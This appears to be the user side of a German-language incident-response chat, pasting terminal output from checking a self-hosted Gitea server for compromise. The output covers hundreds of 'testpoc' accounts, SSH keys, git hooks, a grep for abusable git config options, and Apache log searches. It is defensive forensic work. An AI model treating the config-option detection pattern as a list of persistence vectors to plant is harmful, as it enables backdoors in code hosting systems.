drwxr-xr-x 3 admindc admindc 4.0K Sep 11 18:11 testpoc26355 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 22:13 testpoc66868 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 02:11 testpoc53078 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 06:11 testpoc63807 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 10:10 testpoc44807 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 14:10 testpoc32788 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 18:09 testpoc55027 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 22:09 testpoc75302 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 02:08 testpoc36916 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 06:09 testpoc55395 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 10:09 testpoc43177 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 14:08 testpoc20726 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 18:08 testpoc42534 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 22:07 testpoc38380 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 02:06 testpoc69572 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 06:05 testpoc80463 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 10:04 testpoc14211 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 14:03 testpoc86381 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 18:00 testpoc17722 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 21:56 testpoc96516 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:24 testpoc68930 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:50 testpoc75427 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 05:46 testpoc54842 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 09:45 testpoc97134 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 13:42 testpoc40496 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 17:41 testpoc12313 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 21:39 testpoc58970 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 01:37 testpoc55339 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 05:36 testpoc63044 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 09:08 testpoc27314 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 11:41 testpoc52384 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 13:06 testpoc35017 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 17:07 testpoc40339 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 21:05 testpoc39893 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 01:03 testpoc82705 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 05:00 testpoc50766 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 08:57 testpoc32746 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 12:53 testpoc87888 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 16:52 testpoc84074 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 20:50 testpoc57938 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 00:47 testpoc51346 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 04:44 testpoc39794 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 08:40 testpoc84743 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 12:36 testpoc49129 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 16:34 testpoc54626 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 20:30 testpoc40862 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 00:26 testpoc16652 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 04:23 testpoc13731 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 08:19 testpoc94819 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 12:15 testpoc84836 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 16:12 testpoc91160 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 20:09 testpoc69618 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 00:04 testpoc88367 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 04:00 testpoc36234 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 07:56 testpoc85733 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 11:53 testpoc55201 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 15:49 testpoc52938 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 19:46 testpoc20554 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 23:42 testpoc85711 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 03:38 testpoc42804 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 07:33 testpoc69623 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 11:29 testpoc79949 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 15:25 testpoc98707 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 19:22 testpoc15104 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 23:19 testpoc32066 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 03:16 testpoc49698 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 07:13 testpoc63211 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 11:10 testpoc63173 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 15:07 testpoc55186 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 19:05 testpoc42437 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 23:02 testpoc82932 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 02:59 testpoc57923 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 06:56 testpoc13326 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 09:40 testpoc79896 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 10:29 testpoc38905 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 14:26 testpoc69930 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 18:22 testpoc95946 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 22:19 testpoc93288 drwxr-xr-x 3 admindc admindc 4.0K Sep 24 02:15 testpoc90831 drwxr-xr-x 3 admindc admindc 4.0K Sep 24 06:10 testpoc51788 drwxr-xr-x 3 admindc admindc 4.0K Sep 24 10:05 testpoc63022 drwxr-xr-x 268 admindc admindc 12K Sep 24 10:05 . drwxr-xr-x 1622 admindc admindc 64K Sep 24 12:02 giteaa1337 drwxr-xr-x 1630 admindc admindc 68K Sep 24 12:02 gitea1337 ´´´

Sind diese verdächtig?

Hier sind die Ergebnisse von Schritt 3, 4 und 6 sowie der Blick in ein testpoc Repo:

root@sv003 ~/docker/git # # Schritt 3
root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list
ID   Username     Email                       IsActive IsAdmin 2FA
1    admin        nix@no.de                   true     true    false
2    tlg          tlg@nix.de                  true     false   false
3    llm          llm@nix.de                  true     false   false
4    wbg          wbg@nix.de                  true     false   false
5    n8n          n8n@nix.de                  true     false   false
6    krtr         krtr@nix.de                 true     false   false
7    try          try@nix.de                  true     false   false
8    trf          trf@nix.de                  true     false   false
9    ncd          ncd@nix.de                  true     false   false
10   rdms         Thomas.Langer@destengs.com  true     false   false
11   pln          No@nix.de                   true     false   false
12   mkt          mkt@nix.no                  true     false   false
13   lwc          lwc@nix.de                  true     false   false
14   wlfb         wlfb@nix.no                 true     false   false
15   testpoc60874 testpoc91319@test.local     true     false   false
16   testpoc29453 testpoc51901@test.local     true     false   false
17   testpoc43268 testpoc62945@test.local     true     false   false
18   testpoc12153 testpoc70731@test.local     true     false   false
19   testpoc24197 testpoc51518@test.local     true     false   false
20   testpoc85539 testpoc18172@test.local     true     false   false
21   testpoc98694 testpoc85362@test.local     true     false   false
22   testpoc78015 testpoc12874@test.local     true     false   false
23   testpoc25390 testpoc11149@test.local     true     false   false
24   testpoc92837 testpoc74432@test.local     true     false   false
25   testpoc97168 testpoc16626@test.local     true     false   false
26   testpoc82909 testpoc55517@test.local     true     false   false
27   jujpqlugml   qinvmrmq@immenseignite.info true     false   false
28   dqyywxkedt   kqjsnrgy@immenseignite.info true     false   false
29   testpoc81407 testpoc37764@test.local     true     false   false
30   testpoc84892 testpoc10432@test.local     true     false   false
31   testpoc95017 testpoc98343@test.local     true     false   false
32   testpoc87960 testpoc73548@test.local     true     false   false
33   testpoc60504 testpoc84459@test.local     true     false   false
34   testpoc25643 testpoc94109@test.local     true     false   false
35   testpoc51520 testpoc77295@test.local     true     false   false
36   testpoc56033 testpoc83028@test.local     true     false   false
37   testpoc38666 testpoc54171@test.local     true     false   false
38   testpoc93555 testpoc31520@test.local     true     false   false
39   testpoc46919 testpoc95158@test.local     true     false   false
40   testpoc30819 testpoc26694@test.local     true     false   false
41   testpoc84143 testpoc66048@test.local     true     false   false
42   testpoc37242 testpoc43037@test.local     true     false   false
43   testpoc56949 testpoc79697@test.local     true     false   false
44   testpoc69547 testpoc46357@test.local     true     false   false
45   testpoc19409 testpoc75199@test.local     true     false   false
46   testpoc45556 testpoc42945@test.local     true     false   false
47   testpoc72460 testpoc62590@test.local     true     false   false
48   testpoc24413 testpoc68769@test.local     true     false   false
49   testpoc79954 testpoc17594@test.local     true     false   false
50   testpoc73498 testpoc93018@test.local     true     false   false
51   testpoc31492 testpoc97481@test.local     true     false   false
52   testpoc84236 testpoc72245@test.local     true     false   false
53   testpoc66853 testpoc11866@test.local     true     false   false
54   testpoc96299 testpoc33830@test.local     true     false   false
55   testpoc37593 testpoc50816@test.local     true     false   false
56   testpoc36987 testpoc33219@test.local     true     false   false
57   testpoc31664 testpoc71498@test.local     true     false   false
58   testpoc40668 testpoc10962@test.local     true     false   false
59   testpoc53151 testpoc24360@test.local     true     false   false
60   testpoc69854 testpoc19442@test.local     true     false   false
61   testpoc80023 testpoc30980@test.local     true     false   false
62   gitea1337    gitea1337@test.local        true     false   false
63   giteaa1337   giteaa1337@test.local       true     false   false
64   testpoc77229 testpoc77108@test.local     true     false   false
65   testpoc71873 testpoc31506@test.local     true     false   false
66   testpoc17745 testpoc47546@test.local     true     false   false
67   testpoc53823 testpoc51519@test.local     true     false   false
68   testpoc66756 testpoc76453@test.local     true     false   false
69   testpoc22616 testpoc66400@test.local     true     false   false
70   testpoc27265 testpoc32399@test.local     true     false   false
71   testpoc34412 testpoc66592@test.local     true     false   false
72   testpoc85061 testpoc56610@test.local     true     false   false
73   testpoc36190 testpoc69081@test.local     true     false   false
74   testpoc73222 testpoc37006@test.local     true     false   false
75   testpoc54227 testpoc73883@test.local     true     false   false
76   testpoc46556 testpoc37889@test.local     true     false   false
77   testpoc62541 testpoc58718@test.local     true     false   false
78   testpoc61632 testpoc57477@test.local     true     false   false
79   testpoc90545 testpoc58809@test.local     true     false   false
80   testpoc61911 testpoc15016@test.local     true     false   false
81   testpoc95111 testpoc44233@test.local     true     false   false
82   testpoc78438 testpoc60733@test.local     true     false   false
83   testpoc81170 testpoc48652@test.local     true     false   false
84   testpoc86973 testpoc63967@test.local     true     false   false
85   testpoc18093 testpoc68335@test.local     true     false   false
86   testpoc34060 testpoc36523@test.local     true     false   false
87   testpoc19522 testpoc86071@test.local     true     false   false
88   testpoc39149 testpoc72559@test.local     true     false   false
89   testpoc22320 testpoc23247@test.local     true     false   false
90   testpoc34738 testpoc47744@test.local     true     false   false
91   testpoc48807 testpoc90459@test.local     true     false   false
92   testpoc68152 testpoc33960@test.local     true     false   false
93   testpoc62114 testpoc94172@test.local     true     false   false
94   testpoc79936 testpoc94596@test.local     true     false   false
95   testpoc13243 testpoc91895@test.local     true     false   false
96   testpoc69682 testpoc25547@test.local     true     false   false
97   testpoc72852 testpoc79040@test.local     true     false   false
98   testpoc15007 testpoc15130@test.local     true     false   false
99   testpoc86124 testpoc52942@test.local     true     false   false
100  testpoc11637 testpoc52896@test.local     true     false   false
101  testpoc87910 testpoc59779@test.local     true     false   false
102  testpoc82836 testpoc63572@test.local     true     false   false
103  testpoc41185 testpoc67529@test.local     true     false   false
104  testpoc98983 testpoc65721@test.local     true     false   false
105  testpoc19606 testpoc74870@test.local     true     false   false
106  testpoc23912 testpoc97447@test.local     true     false   false
107  testpoc62773 testpoc20131@test.local     true     false   false
108  testpoc78861 testpoc94953@test.local     true     false   false
109  testpoc95173 testpoc53547@test.local     true     false   false
110  testpoc40264 testpoc14913@test.local     true     false   false
111  testpoc26934 testpoc34368@test.local     true     false   false
112  testpoc73319 testpoc38817@test.local     true     false   false
113  testpoc50454 testpoc52277@test.local     true     false   false
114  testpoc19498 testpoc63822@test.local     true     false   false
115  testpoc69640 testpoc80189@test.local     true     false   false
116  testpoc97230 testpoc84402@test.local     true     false   false
117  testpoc52394 testpoc21513@test.local     true     false   false
118  testpoc40721 testpoc95208@test.local     true     false   false
119  testpoc51551 testpoc84987@test.local     true     false   false
120  testpoc27510 testpoc46568@test.local     true     false   false
121  testpoc61382 testpoc76075@test.local     true     false   false
122  testpoc18831 testpoc74098@test.local     true     false   false
123  testpoc99091 testpoc12351@test.local     true     false   false
124  testpoc86985 testpoc94876@test.local     true     false   false
125  testpoc67871 testpoc81504@test.local     true     false   false
126  testpoc76030 testpoc42139@test.local     true     false   false
127  testpoc87311 testpoc24051@test.local     true     false   false
128  testpoc50982 testpoc56698@test.local     true     false   false
129  testpoc62120 testpoc19823@test.local     true     false   false
130  testpoc22318 testpoc12134@test.local     true     false   false
131  testpoc69014 testpoc36626@test.local     true     false   false
132  testpoc37385 testpoc21630@test.local     true     false   false
133  testpoc98701 testpoc45384@test.local     true     false   false
134  testpoc98443 testpoc43338@test.local     true     false   false
135  oehhhkluuj   xeffdvvw@immenseignite.info true     false   false
136  testpoc61465 testpoc56776@test.local     true     false   false
137  testpoc80725 testpoc28754@test.local     true     false   false
138  testpoc89134 testpoc44254@test.local     true     false   false
139  testpoc76121 testpoc98327@test.local     true     false   false
140  testpoc75962 testpoc12683@test.local     true     false   false
141  testpoc99832 testpoc35404@test.local     true     false   false
142  testpoc55555 testpoc36879@test.local     true     false   false
143  testpoc20107 testpoc33265@test.local     true     false   false
144  testpoc83027 testpoc15826@test.local     true     false   false
145  testpoc50212 testpoc46619@test.local     true     false   false
146  testpoc33280 testpoc19156@test.local     true     false   false
147  testpoc67515 testpoc68952@test.local     true     false   false
148  testpoc59645 testpoc49581@test.local     true     false   false
149  testpoc84414 testpoc68320@test.local     true     false   false
150  testpoc22008 testpoc32423@test.local     true     false   false
151  testpoc54612 testpoc53858@test.local     true     false   false
152  testpoc70617 testpoc93985@test.local     true     false   false
153  testpoc89149 testpoc24416@test.local     true     false   false
154  testpoc12795 testpoc16841@test.local     true     false   false
155  testpoc51398 testpoc19394@test.local     true     false   false
156  testpoc87154 testpoc61850@test.local     true     false   false
157  testpoc96091 testpoc36560@test.local     true     false   false
158  testpoc94765 testpoc31750@test.local     true     false   false
159  testpoc26027 testpoc82451@test.local     true     false   false
160  testpoc51858 testpoc78710@test.local     true     false   false
161  testpoc22861 testpoc38389@test.local     true     false   false
162  testpoc90891 testpoc12868@test.local     true     false   false
163  testpoc33139 testpoc11265@test.local     true     false   false
164  testpoc13803 testpoc17569@test.local     true     false   false
165  testpoc84488 testpoc29054@test.local     true     false   false
166  testpoc11688 testpoc51653@test.local     true     false   false
167  testpoc53646 testpoc24333@test.local     true     false   false
168  testpoc68917 testpoc87626@test.local     true     false   false
169  testpoc83437 testpoc52329@test.local     true     false   false
170  testpoc54590 testpoc78511@test.local     true     false   false
171  testpoc88044 testpoc89544@test.local     true     false   false
172  testpoc17939 testpoc45839@test.local     true     false   false
173  testpoc51371 testpoc55269@test.local     true     false   false
174  testpoc40770 testpoc47947@test.local     true     false   false
175  testpoc28859 testpoc13771@test.local     true     false   false
176  testpoc22366 testpoc93610@test.local     true     false   false
177  testpoc76660 testpoc86849@test.local     true     false   false
178  testpoc10570 testpoc44477@test.local     true     false   false
179  testpoc55506 testpoc69869@test.local     true     false   false
180  testpoc87776 testpoc48515@test.local     true     false   false
181  testpoc10705 testpoc33463@test.local     true     false   false
182  testpoc26965 testpoc35616@test.local     true     false   false
183  testpoc53126 testpoc82130@test.local     true     false   false
184  testpoc33503 testpoc66802@test.local     true     false   false
185  testpoc39441 testpoc45694@test.local     true     false   false
186  testpoc56058 testpoc29722@test.local     true     false   false
187  testpoc19144 testpoc74209@test.local     true     false   false
188  testpoc39192 testpoc76212@test.local     true     false   false
189  testpoc17058 testpoc93548@test.local     true     false   false
190  testpoc63010 testpoc12628@test.local     true     false   false
191  testpoc26355 testpoc83710@test.local     true     false   false
192  testpoc66868 testpoc57878@test.local     true     false   false
193  testpoc53078 testpoc20581@test.local     true     false   false
194  testpoc63807 testpoc51243@test.local     true     false   false
195  testpoc44807 testpoc98646@test.local     true     false   false
196  testpoc32788 testpoc85407@test.local     true     false   false
197  testpoc55027 testpoc70857@test.local     true     false   false
198  testpoc75302 testpoc30448@test.local     true     false   false
199  testpoc36916 testpoc59742@test.local     true     false   false
200  testpoc55395 testpoc25538@test.local     true     false   false
201  testpoc43177 testpoc20034@test.local     true     false   false
202  testpoc20726 testpoc69851@test.local     true     false   false
203  testpoc42534 testpoc39123@test.local     true     false   false
204  testpoc38380 testpoc44179@test.local     true     false   false
205  testpoc69572 testpoc61835@test.local     true     false   false
206  testpoc80463 testpoc62925@test.local     true     false   false
207  testpoc14211 testpoc69761@test.local     true     false   false
208  testpoc86381 testpoc97251@test.local     true     false   false
209  testpoc17722 testpoc44345@test.local     true     false   false
210  testpoc96516 testpoc39198@test.local     true     false   false
211  testpoc68930 testpoc30706@test.local     true     false   false
212  testpoc75427 testpoc59485@test.local     true     false   false
213  testpoc54842 testpoc81985@test.local     true     false   false
214  testpoc97134 testpoc57952@test.local     true     false   false
215  testpoc40496 testpoc98701@test.local     true     false   false
216  testpoc12313 testpoc26241@test.local     true     false   false
217  testpoc58970 testpoc27679@test.local     true     false   false
218  testpoc55339 testpoc14738@test.local     true     false   false
219  testpoc63044 testpoc44058@test.local     true     false   false
220  testpoc27314 testpoc93711@test.local     true     false   false
221  testpoc52384 testpoc79256@test.local     true     false   false
222  testpoc35017 testpoc47402@test.local     true     false   false
223  testpoc40339 testpoc29947@test.local     true     false   false
224  testpoc39893 testpoc41939@test.local     true     false   false
225  testpoc82705 testpoc19718@test.local     true     false   false
226  testpoc50766 testpoc95042@test.local     true     false   false
227  testpoc32746 testpoc70520@test.local     true     false   false
228  testpoc87888 testpoc99043@test.local     true     false   false
229  testpoc84074 testpoc51513@test.local     true     false   false
230  testpoc57938 testpoc49775@test.local     true     false   false
231  testpoc51346 testpoc59538@test.local     true     false   false
232  testpoc39794 testpoc91984@test.local     true     false   false
233  testpoc84743 testpoc61888@test.local     true     false   false
234  testpoc49129 testpoc99765@test.local     true     false   false
235  testpoc54626 testpoc41961@test.local     true     false   false
236  testpoc40862 testpoc88415@test.local     true     false   false
237  testpoc16652 testpoc71474@test.local     true     false   false
238  testpoc13731 testpoc40602@test.local     true     false   false
239  testpoc94819 testpoc66785@test.local     true     false   false
240  testpoc84836 testpoc22580@test.local     true     false   false
241  testpoc91160 testpoc11965@test.local     true     false   false
242  testpoc69618 testpoc93819@test.local     true     false   false
243  testpoc88367 testpoc23584@test.local     true     false   false
244  testpoc36234 testpoc14362@test.local     true     false   false
245  testpoc85733 testpoc96722@test.local     true     false   false
246  testpoc55201 testpoc33956@test.local     true     false   false
247  testpoc52938 testpoc64189@test.local     true     false   false
248  testpoc20554 testpoc23459@test.local     true     false   false
249  testpoc85711 testpoc98923@test.local     true     false   false
250  testpoc42804 testpoc99726@test.local     true     false   false
251  testpoc69623 testpoc39804@test.local     true     false   false
252  testpoc79949 testpoc26872@test.local     true     false   false
253  testpoc98707 testpoc69824@test.local     true     false   false
254  testpoc15104 testpoc95108@test.local     true     false   false
255  testpoc32066 testpoc72645@test.local     true     false   false
256  testpoc49698 testpoc62019@test.local     true     false   false
257  testpoc63211 testpoc36522@test.local     true     false   false
258  testpoc63173 testpoc36838@test.local     true     false   false
259  testpoc55186 testpoc47808@test.local     true     false   false
260  testpoc42437 testpoc28482@test.local     true     false   false
261  testpoc82932 testpoc60807@test.local     true     false   false
262  testpoc57923 testpoc28851@test.local     true     false   false
263  testpoc13326 testpoc33674@test.local     true     false   false
264  testpoc79896 testpoc75723@test.local     true     false   false
265  testpoc38905 testpoc25808@test.local     true     false   false
266  testpoc69930 testpoc93166@test.local     true     false   false
267  testpoc95946 testpoc16379@test.local     true     false   false
268  testpoc93288 testpoc70088@test.local     true     false   false
269  testpoc90831 testpoc70624@test.local     true     false   false
270  testpoc51788 testpoc16537@test.local     true     false   false
271  testpoc63022 testpoc51536@test.local     true     false   false
root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list --admin
ID   Username Email     IsActive
1    admin    nix@no.de true

Die Ergebnisse aus Schritt 4 sind so lang, dass sie den Terminal Screen Buffer überlaufen lassen. Sie sind als Schritt-4-Output.txt angehängt.

root@sv003 ~/docker/git # # Schritt 6
root@sv003 ~/docker/git # cat /opt/appdata/gitea/git/.ssh/authorized_keys
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIADl9gVyC2c+a7qIZC6gXHgJydF12+9C663YIoT5i8q1 user-3
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINb/2AXFOth3xKRsYuBRtvmh0E2uqwVzc1zHPq8DfKzs user-5
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-3",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICx0bSfpi2SuVIz4O+5LeH1hMhyszsToEB2jdgcg7Dbk user-6
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-4",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMCof8cPzf55cAVSrjiYQnqRI+qFOaDr5jpew+lR8vwh user-9
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-5",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIConRKwtkavZhiK3CeRg7Wg9km9/DwOLskxOAuVmKOqX user-2
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-7",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMn/zN0Mtuzd9vsBlBL8VDJRoCuXVk98XFWFHVToCzId user-10
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-8",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBL9NaidAiMeTCzYwzGzpy9/dgHU7Nvgaa8qFx+RtSPd user-11
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-9",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIISCMKUXLatSVC7MURmS8Ra77C01Ne9JIGgg1wq/AaZW user-8
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-10",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPLyufFGuVLqhHmJQjpDmz3riLLknH9+5FgkeWWPExuO user-4
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-11",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnoAhwz0z5gECYgcysPW011KtEqaKzOt6qOFPJNaCkA user-12
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-12",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILvPcc40YS0a5RdY6OhknE7tXRKUfdb2jut5eeNImsg+ user-13
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-13",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM7z8bx+VD/lkJBkpRsx0xFPt4sECa5Ce9jd1/Dyl9dO user-14

root@sv003 /opt/appdata/gitea/git/repositories # # Blick in ein testpoc-Repo root@sv003 /opt/appdata/gitea/git/repositories # ls -la testpoc60874/*/hooks total 96 drwxr-xr-x 6 admindc admindc 4096 Aug 5 20:44 . drwxr-xr-x 7 admindc admindc 4096 Aug 5 20:44 .. -rwxr-xr-x 1 admindc admindc 478 Aug 5 20:44 applypatch-msg.sample -rwxr-xr-x 1 admindc admindc 896 Aug 5 20:44 commit-msg.sample -rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 post-receive drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 post-receive.d -rwxr-xr-x 1 admindc admindc 189 Aug 5 20:44 post-update.sample -rwxr-xr-x 1 admindc admindc 424 Aug 5 20:44 pre-applypatch.sample -rwxr-xr-x 1 admindc admindc 1649 Aug 5 20:44 pre-commit.sample -rwxr-xr-x 1 admindc admindc 416 Aug 5 20:44 pre-merge-commit.sample -rwxr-xr-x 1 admindc admindc 1492 Aug 5 20:44 prepare-commit-msg.sample -rwxr-xr-x 1 admindc admindc 1374 Aug 5 20:44 pre-push.sample -rwxr-xr-x 1 admindc admindc 4898 Aug 5 20:44 pre-rebase.sample -rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 pre-receive drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 pre-receive.d -rwxr-xr-x 1 admindc admindc 544 Aug 5 20:44 pre-receive.sample -rwxr-xr-x 1 admindc admindc 134 Aug 5 20:44 proc-receive drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 proc-receive.d -rwxr-xr-x 1 admindc admindc 2783 Aug 5 20:44 push-to-checkout.sample -rwxr-xr-x 1 admindc admindc 2308 Aug 5 20:44 sendemail-validate.sample -rwxr-xr-x 1 admindc admindc 356 Aug 5 20:44 update drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 update.d -rwxr-xr-x 1 admindc admindc 3650 Aug 5 20:44 update.sample

Bitte weniger auf einmal und mehr Erklärungen, du überforderst mich sonst.

Hier die Ergebnisse der drei Prüfungen:

root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 1
root@sv003 /opt/appdata/gitea/git/repositories # for h in pre-receive update post-receive proc-receive; do echo "== $h"; md5sum /opt/appdata/gitea/git/repositories/*/*.git/hooks/$h | awk '{print $1}' | sort | uniq -c; done               == pre-receive
   3518 2d67fed6a447d2eb41535dc7fe514c3c
== update
   3518 f3947df1fd3dbe0f06185367c7997fc5
== post-receive
   3518 2d67fed6a447d2eb41535dc7fe514c3c
== proc-receive
   3518 c65001fd6703334398ad122371538ae7

root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 2: Ergebnis zu lang für Terminal Screen Buffer
root@sv003 /opt/appdata/gitea/git/repositories # find /opt/appdata/gitea/git/repositories -path '*/hooks/*.d/*' -type f > Prüfung-2_Output.txt

root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 3
root@sv003 /opt/appdata/gitea/git/repositories # grep -rlE 'hooksPath|fsmonitor|sshCommand|core.pager|core.editor' /opt/appdata/gitea/git/repositories/*/*.git/config
root@sv003 /opt/appdata/gitea/git/repositories #

Für die Proxy Log-Suche brauche ich bitte das Kommando für einen Apache Reverse-Proxy.

Kein Output:

root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '_diffpatch' /var/log/apache2/*access*log* /var/log/httpd/*access*log* 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head
root@sv003 /opt/appdata/gitea/git/repositories #

root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cH 'diffpatch' /var/log/apache2/accesslog* /var/log/httpd/accesslog* 2>/dev/null /var/log/apache2/access.log:0 /var/log/apache2/other_vhosts_access.log:0 /var/log/apache2/other_vhosts_access.log.1:0 /var/log/apache2/other_vhosts_access.log.10.gz:0 /var/log/apache2/other_vhosts_access.log.11.gz:0 /var/log/apache2/other_vhosts_access.log.12.gz:0 /var/log/apache2/other_vhosts_access.log.13.gz:0 /var/log/apache2/other_vhosts_access.log.14.gz:0 /var/log/apache2/other_vhosts_access.log.2.gz:0 /var/log/apache2/other_vhosts_access.log.3.gz:0 /var/log/apache2/other_vhosts_access.log.4.gz:0 /var/log/apache2/other_vhosts_access.log.5.gz:0 /var/log/apache2/other_vhosts_access.log.6.gz:0 /var/log/apache2/other_vhosts_access.log.7.gz:0 /var/log/apache2/other_vhosts_access.log.8.gz:0 /var/log/apache2/other_vhosts_access.log.9.gz:0 /var/log/httpd/accesslog*:0 root@sv003 /opt/appdata/gitea/git/repositories #

